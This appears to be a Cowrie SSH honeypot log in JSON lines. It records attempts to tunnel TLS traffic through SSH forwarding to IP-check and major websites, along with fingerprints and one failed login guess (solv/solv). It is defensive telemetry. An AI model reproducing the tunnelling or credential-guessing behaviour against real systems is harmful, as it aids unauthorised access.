{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.208.199.116","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb7\\x036\\x91h\\xd4\\x0b\\x8d\\x7f \\t\\\\\\x9f\\xa5\\xbf\\x1b7\\x1e\\xdc<\\x01E\\x9a\\xb0\\xfb\\xbc&,7\\xb1\\x80\\x8e q\\x05\\xc4\\xe5 &\\xe7\\xd5\\x8a\\x84ZD\\x8c\\x82\\xd4\\x04k\\xda\\xbd\\xdd\\\\\\x18\\x95\\xf5\\xee\\x13\\tX\\x01\\xf9\\xedn\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 0\\xe9l\\xc3\\x89F^\\x0f\\x01\\x89$\\xfcb\\xf8\\xb2\\xb9\\x95o\\xdf\\xc3\\x1d\\x85\\x84\\xe8\\xaa\\x87\\xdef\\xbaler\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.208.199.116:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb7\\x036\\x91h\\xd4\\x0b\\x8d\\x7f \\t\\\\\\x9f\\xa5\\xbf\\x1b7\\x1e\\xdc<\\x01E\\x9a\\xb0\\xfb\\xbc&,7\\xb1\\x80\\x8e q\\x05\\xc4\\xe5 &\\xe7\\xd5\\x8a\\x84ZD\\x8c\\x82\\xd4\\x04k\\xda\\xbd\\xdd\\\\\\x18\\x95\\xf5\\xee\\x13\\tX\\x01\\xf9\\xedn\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 0\\xe9l\\xc3\\x89F^\\x0f\\x01\\x89$\\xfcb\\xf8\\xb2\\xb9\\x95o\\xdf\\xc3\\x1d\\x85\\x84\\xe8\\xaa\\x87\\xdef\\xbaler\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:53.001534Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":45786,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:45786","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:53.170210Z","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:53.284857Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@\\x82\\x99\\xb3\\x9dW\\xf0\\xc5Y\\xe0.\\xf6\\\\\\x9f\\xf2\\xe8\\rIRpK\\xab\\xb8\\x1fY\\xa6c?\\xa5\\x95R~ >p}\\xa5h\\xd5YA\\x8a)\\xcbu\\xb00\\xe2\\xc6\\xb5%3B\\xc3\\x96\\x89\\xa7\\xe9N\\xc1P\\xcc\\xdd;\\xee\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 3\\xf0=\\xe6A\\x83_?\\x9f\\x83s\\xea\\xc0\\x95\\xb5\\xf4y\\xa53\\x0e&\\x9d\\xb4\\x17\\x93\\xa6\\xed#\\x85K\\xebW\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@\\x82\\x99\\xb3\\x9dW\\xf0\\xc5Y\\xe0.\\xf6\\\\\\x9f\\xf2\\xe8\\rIRpK\\xab\\xb8\\x1fY\\xa6c?\\xa5\\x95R~ >p}\\xa5h\\xd5YA\\x8a)\\xcbu\\xb00\\xe2\\xc6\\xb5%3B\\xc3\\x96\\x89\\xa7\\xe9N\\xc1P\\xcc\\xdd;\\xee\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 3\\xf0=\\xe6A\\x83_?\\x9f\\x83s\\xea\\xc0\\x95\\xb5\\xf4y\\xa53\\x0e&\\x9d\\xb4\\x17\\x93\\xa6\\xed#\\x85K\\xebW\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:53.288529Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.157.119","dst_port":443,"src_ip":"77.90.185.17","src_port":46038,"message":"direct-tcp connection request to 142.251.157.119:443 from 127.0.0.1:46038","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:53.401891Z","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.157.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.157.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:53.520642Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.157.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03EKUH\\xfb\\t\\xaa\\xb5\\xfawm\\xfe\\xeb\\x13\\xda\\x80\\x9f\\x13k\\x025\\x9d\\xce\\xd0\\xaf\\xd9\\x84\\xfa\\x15]0p a\\x1f\\xd3P;A\\x9f`\\x93\\xb2b\\x01/-B{\\xb5v\\xa5P\\n\\x99Tw\\xab\\x1fF\\xaa\\xb0\\x8e\\x98}\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x86\\xe8\\x18%m\\xcd\\x98Z\\xe9N*\\x85\\x87\\xe0\\xbc_\\xde#\\x98\\xd8\\xce\\xad\\xaa\\x02\\x0eI\\xff\\xa7\\x91\\x0bpx\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.157.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03EKUH\\xfb\\t\\xaa\\xb5\\xfawm\\xfe\\xeb\\x13\\xda\\x80\\x9f\\x13k\\x025\\x9d\\xce\\xd0\\xaf\\xd9\\x84\\xfa\\x15]0p a\\x1f\\xd3P;A\\x9f`\\x93\\xb2b\\x01/-B{\\xb5v\\xa5P\\n\\x99Tw\\xab\\x1fF\\xaa\\xb0\\x8e\\x98}\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x86\\xe8\\x18%m\\xcd\\x98Z\\xe9N*\\x85\\x87\\xe0\\xbc_\\xde#\\x98\\xd8\\xce\\xad\\xaa\\x02\\x0eI\\xff\\xa7\\x91\\x0bpx\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:53.523547Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:24:53.637924Z","src_ip":"77.90.185.17","session":"623877b74406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41974,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ce9f1fb064","protocol":"ssh","message":"New connection: 195.178.110.218:41974 (159.203.135.109:22) [session: 23ce9f1fb064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:12.112924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:12.117875Z","src_ip":"195.178.110.218","session":"23ce9f1fb064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:12.193727Z","src_ip":"195.178.110.218","session":"23ce9f1fb064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:12.420655Z","src_ip":"195.178.110.218","session":"23ce9f1fb064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:13.498544Z","src_ip":"195.178.110.218","session":"23ce9f1fb064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45756,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee42de5912ca","protocol":"ssh","message":"New connection: 193.32.162.151:45756 (159.203.135.109:22) [session: ee42de5912ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:25:27.652450Z"}
